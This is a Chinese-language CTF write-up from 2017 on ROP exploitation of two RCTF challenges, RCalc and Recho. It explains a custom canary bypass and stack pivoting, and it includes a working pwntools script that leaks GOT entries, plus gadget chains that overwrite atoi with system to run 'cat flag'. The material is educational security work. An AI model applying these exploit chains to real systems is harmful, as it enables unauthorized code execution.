ROP小结

这次RCTF,对于本以为掌握了的ROP,学到了新的姿势,在这里总结下。

本文不进行实例调试,用脑子DEBUG……详细文件可以去我的github上找…

RCalc

首先是计算器这题,作者自己实现了一个canary,首先在每个函数开头通过sub_400AAB函数生成了一个随机数,存放到堆中,和栈上面,然后在函数结尾使用sub_400B92函数检查这个栈上的随机数和堆中的随机数是否一样。

然后可以去看看sub_400A06函数,在存放canary的堆上面有个一个0x100的堆,用于存放需要保存的计算结果,这个结果保存的函数没设定边界值,所以可以覆盖到canary的堆,从而覆盖到canary。

绕过canary后,在sub_400FA2函数中,scanf函数存在栈溢出,正常情况下想,之后就是通过ROP很容易就能getshell了。

但是,这里有一个坑点,scanf函数的%s不能出现\x09, \x0a, \x0b, \x0c, \x0d, \x20

经过测试,如果输入中出现这几个字符,会被转成\x00,或者之后的数据就不会被读入变量中。

这对我来说非常致命,因为got表的地址中都含有\x20,还有一些ROP被这些字符限制着,当时还想到了一个别的思路,比如利用read函数或者sub_400c4e函数,但是没找到控制rdx的ROP所以没法用read函数,另外,就算能调用,也没有思路下一步该怎么做,该读到什么位置?然后该怎么通过read继续溢出?

而关于sub_400c4e函数,虽然函数中含有\x0c字符,但是我找到了一个

1
add eax, 0x48002018 ; test eax, eax ; je 0x400803 ; call rax

通过这个ROP就能调用sub_400c4e了,而rdx为最后一次choice输入的值,因为处理这个输入值得时候有个cdqe,虽然如果我输入0x100000005在判断中也是5,通过这个思路,可以让sub_400c4e函数中进行溢出,rdi和rsi也都是可控的。

但是在测试中发现,首先我不知道栈地址,所以没法控制rsi,而在sub_400FA2函数的ret指令时,rsi正好就是一个栈地址,在当前栈地址的很上面,这种情况下,栈溢出会覆盖掉sub_400c4e的局部变量,导致没法成功进行栈溢出。

在比赛结束之后,看来国外的一篇wp后,学到了两个知识点: http://hama.hatenadiary.jp/entry/2017/05/22/092142

首先是他们找的ROP:

1
2
mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8];
pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15; ret ;

通过这个ROP基本可以调用任意函数了,我找ROP一般是使用默认的命令:

1
$ ROPgadget --binary RCalc

但是却没有这个ROP,需要用

1
$ ROPgadget --binary RCalc --depth 11

才有第二句ROP,而第一句还是没有。。所以我发现,我在找ROP上还是太菜了….

UPDATE 20170528

经过大佬教育,原来这是64位程序中存在的一个万能ROP,这两句ROP在同一个函数里,而这个函数是gcc编译进程序中去的


其实,当时我已经基本可以做到调用任意函数了,但是关键点还是第二点。

使用:

1
leave  ; ret ;

来修改栈地址,这样一来思路就很清晰了。
找一段可以写的地址,比如bss区域,写入ROP,然后再把rsp修改成该地址,就可以getshell了,同read函数向bss区域写值,然后使用leave修改rsp

我还是太菜,从来没想过修改栈地址……

Recho

本来也是一道简单的栈溢出,但循环的判断:

1
while(read(0, buf, 0x10)>0)

要栈溢出首先得先停了这个循环,在shell中可以使用ctrl+d表示EOF,但是脚本咋写?
发现pwntools可以用下面的命令发送EOF

1
2
s = remote(xxxx,xx)
s.sock.shutdown(socket.SHUT_RW)

但是这样我们没法继续输入了,所以我们需要发送一次payload就getflag,我们只能getflag而不能getshell,因为服务器已经关闭了接收我们数据的连接。

这题没有libc,所以写ROP又是一个技术活….

使用下面这个PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# coding=utf-8

from pwn import *

context.log_level = "debug"
# context.terminal = ['terminator', '-x', 'bash', '-c']
debug = 1
if debug:
p = remote("127.0.0.1", 10001)
else:
p = remote("recho.2017.teamrois.cn", 9527)
e = ELF('Recho')
# gdb.attach(p)
padding = 0x38*'a' #padding
# write(1, got['read'], 8)
payload = ""
payload += p64(0x4008a3) # pop rdi;ret
payload += p64(1) # rdi = 1
payload += p64(0x4008a1) # pop rsi; pop r15; ret
payload += p64(e.got['read']) # rsi = got.plt read
payload += p64(0) # r15 = 0
payload += p64(0x4006fe) # pop rdx;ret
payload += p64(8) # rdx = 8
payload += p64(e.symbols['write']) # call write
# write(1, got['write'], 8)
payload += p64(0x4008a3) # pop rdi;ret
payload += p64(1) # rdi = 1
payload += p64(0x4008a1) # pop rsi; pop r15; ret
payload += p64(e.got['atoi']) # rsi = got.plt atoi
payload += p64(0) # r15 = 0
payload += p64(0x4006fe) # pop rdx;ret
payload += p64(8) # rdx = 8
payload += p64(e.symbols['write']) # call write


p.readuntil("server!\n")
p.sendline('1000')
p.sendline(padding + payload)
p.recv()
p.sock.shutdown(1)
print u64(p.recv(8)) - u64(p.recv(8))
p.interactive()

经过远程和本地测试对比,发现远程的libc应该和我本地的一样

然后使用本地的libc写payload就好了。。

思路是改写got表中随便一个函数的地址改成system就好了,比如我修改的是atoi函数,然后找binary中的ROP,找到下面三个:

1
2
3
pop rdi; ret;
pop rax; ret;
add [rdi], al; ret;

通过这三个,我们就能修改偏移了,比如:

1
2
3
4
5
payload += p64(0x4008a3)+p64(0x601040)    # pop rdi; ret;   rdi = 0x601040; atoi
payload += p64(0x4006fc)+p64(0x10) + p64(0x40070d) # pop rax; ret; rax = 0x10; add [rdi], al; ret;

payload += p64(0x4008a3)+p64(0x601041) # pop rdi; ret; rdi = 0x601041;
payload += p64(0x4006fc)+p64(229) + p64(0x40070d) # pop rax; ret; rax=0xe5; add [rdi], al; ret;

这相当于got表中atoi函数的地址加上0xe510

同样再使用上面的ROP往bss中写入cat flag,最后输出的指令是system('cat flag')

总结

本以为栈溢出都会了,其实还是太菜…..

Author

Hcamael

Posted on

2017-05-23

Updated on

2018-04-02

Licensed under